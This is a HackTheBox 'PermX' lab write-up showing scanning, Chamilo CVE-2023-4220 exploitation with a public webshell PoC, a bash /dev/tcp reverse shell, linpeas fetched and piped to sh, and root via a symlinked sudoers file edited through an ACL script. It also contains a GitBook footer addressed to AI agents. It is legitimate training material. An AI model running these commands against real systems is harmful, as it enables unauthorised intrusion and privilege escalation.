> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md).

# PermX HackTheBox Writeup

PermX HackTheBox Easy Linux machine writeup covering Subdomain Enumeration, Chamilo Exploitation, LINpeas enumeration system, Sudoers escalation privilege (permissions changed /etc/sudoers file), with

{% embed url="<https://app.hackthebox.com/machines/PermX>" %}

{% hint style="warning" %}
**Skills:**

* Subdomain Enumeration
* Chamilo Exploitation
* LINpeas enumeration system
* Sudoers escalation privilege (permissions changed /etc/sudoers file)
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9116ff5ceccf59a6990aa16472a1c9298e08a58d%2Fimage%20(2244).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c186584f826cb6da54a28269d603783c89f0f90d%2Fimage%20(1449).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.23 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580844847de1db4faca2f6e1b617c673e3fe508f%2Fimage%20(1450).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b809e1e5fff4ed26068442c622f905b3368f2b86%2Fimage%20(1451).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p80,22 10.10.11.23 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-248303ca2fe00893da659f2c0ab52bdd71a48f16%2Fimage%20(1452).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

To resolve domain names into IP addresses via DNS, insert the domain name associated with its IP address into the `/etc/hosts` file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d482d0c6ebbc78d9f3e102b52d2e3979051c894%2Fimage%20(1453).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01555e06201b8761517a47910838933b0262f404%2Fimage%20(1454).png?alt=media" alt=""><figcaption></figcaption></figure>

**Searching possible directories with Gobuster:**

Using Gobuster to scan possible directories on the website with Medium directory listing file.

```bash
gobuster dir -u http://permx.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88e9c74b787fe3c9d894e22c69321b0f66859dc7%2Fimage%20(1455).png?alt=media" alt=""><figcaption></figcaption></figure>

**Directory search with Gobuster:**

Use **Gobuster** with a dictionary to find hidden access files.

```bash
gobuster dir -u http://permx.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,bk
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b2b767ed325c3d58082754306df636ebc48f6c1%2Fimage%20(1456).png?alt=media" alt=""><figcaption></figcaption></figure>

### Subdomain Enumeration

To enumerate the subdomains of a website using the Wfuzz tool via the console, you can use the following command:

{% code fullWidth="true" %}

```bash
wfuzz -c --hc=404,302,400 -t 20 -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.permx.htb" http://permx.htb
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a52fc872b0bbabb4e7602dae9f5e4127b022eb37%2Fimage%20(1457).png?alt=media" alt=""><figcaption></figcaption></figure>

Make sure to update the `/etc/hosts` file to include the discovered subdomains:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ffb2192301e5987b9303184b117ee1f1ccd700f%2Fimage%20(1458).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

{% embed url="<http://lms.permx.htb/>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88b7f548a321dbda01b9f28e418224cbbe7f4152%2Fimage%20(1459).png?alt=media" alt=""><figcaption></figcaption></figure>

## Chamilo CMS Vulnerability:

Chamilo presents a vulnerability, identified as CVE-2023-4220, allowing remote code execution (RCE). To exploit this flaw, you can use the following script available on GitHub:

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### Clone the GitHub repository:

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. Perform a check to see if the vulnerability is present on the target:

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12d00ea8c89b28523f856990fe1da0254f04bd22%2Fimage%20(1460).png?alt=media" alt=""><figcaption></figcaption></figure>

### Webshell:

If the vulnerability is present, inject a **PHP webshell** into Chamilo:

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be650e6b0eec3c16b3f33ce724864c3dbb6b60ff%2Fimage%20(1462).png?alt=media" alt=""><figcaption></figcaption></figure>

Once the webshell is injected, you will be able to execute commands on the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f99eb2072daeb2c35745883571ac683b37d059d%2Fimage%20(1447).png?alt=media" alt=""><figcaption></figcaption></figure>

### Reverse Shell:

To establish a reverse shell connection and gain access to the machine, run the following command from your terminal:

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

Then listen on port 4444:

```bash
nc -nlvp 4444
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-433ddb7152c53179ab8df9f397c37a0949801e82%2Fimage%20(1448).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilege Escalation

**System Enumeration (**[**LinPEAS**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)**):**

We use Linpeas for privilege recognition:

```bash
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b49cb62564bda85fb74cd3c1ff35174f63793da%2Fimage%20(1446).png?alt=media" alt=""><figcaption></figcaption></figure>

**Discovery of a new user:**

During enumeration, we identified a new user named `mtz`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-afe5d7824312a435329423405de405522d7a43df%2Fimage%20(1442).png?alt=media" alt=""><figcaption></figcaption></figure>

**Recovering a password:**

The following password was found:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07ba4652273d6628f0cbe3b8dd02105034bce5f3%2Fimage%20(1443).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
mtz:03F6lY3uXAP2bkW8
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e99d4d5e8e167be05233d728a3172bb907cef063%2Fimage%20(1444).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Flag user.txt:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-db3138b4eeba750b1f292d2d493b58657ec0fec5%2Fimage%20(1445).png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudoers:

By running the `sudo -l` command, we discover that we have the ability to run a script as **root**.

```bash
sudo -l
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55fc7ae55c9f11787a9dcb6e0680d6c84f943a5f%2Fimage%20(2252).png?alt=media" alt=""><figcaption></figcaption></figure>

This Bash script modifies a user's access permissions on a specific file using ACLs, after verifying the validity of the path and that the target is indeed a file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b1e1b4c18b27ccbc6c6efed03a2d4facdd1b09b4%2Fimage%20(2246).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2503588b591f2a8c4fdd460a03925fbe83b0c8cd%2Fimage%20(2247).png?alt=media" alt=""><figcaption></figcaption></figure>

Finally, let's grant the mtz user read and write rights to the file

```bash
sudo /opt/acl.sh mtz rw /etc/sudoers
```

An error occurs because the file must be located in our `/home/mtz` directory

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7bfe967baef947eb41ab6e7340dd9817675e0ea%2Fimage%20(2248).png?alt=media" alt="" width="535"><figcaption></figcaption></figure>

To resolve a workaround could be to create a symbolic link from a system file to the `/home/mtz/` directory and run the script on this link.

```bash
ln -s /etc/sudoers /home/mtz/sudoers_link
sudo /opt/acl.sh mtz rw /home/mtz/sudoers_link
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef620717e99ccb95684bd59a892fe12054ef5e4d%2Fimage%20(2249).png?alt=media" alt=""><figcaption></figcaption></figure>

We need to edit the "sudoers/\_link" file, which will update the sudoers file, to give full rights to the mtz user.

```bash
mtz ALL=(ALL:ALL) ALL
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6bbf950f3b9ec42511dcab9f0ee49f26243476c0%2Fimage%20(2250).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root : ) <a href="#flag-root" id="flag-root"></a>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e3d6432a03fed70e8e4b62afeccae1e74fd30b56%2Fimage%20(2251).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0fd7a39fc8a12fb0188f8f0ae8cb40a3ed3022c%2Fimage%20(1417).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/permx-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
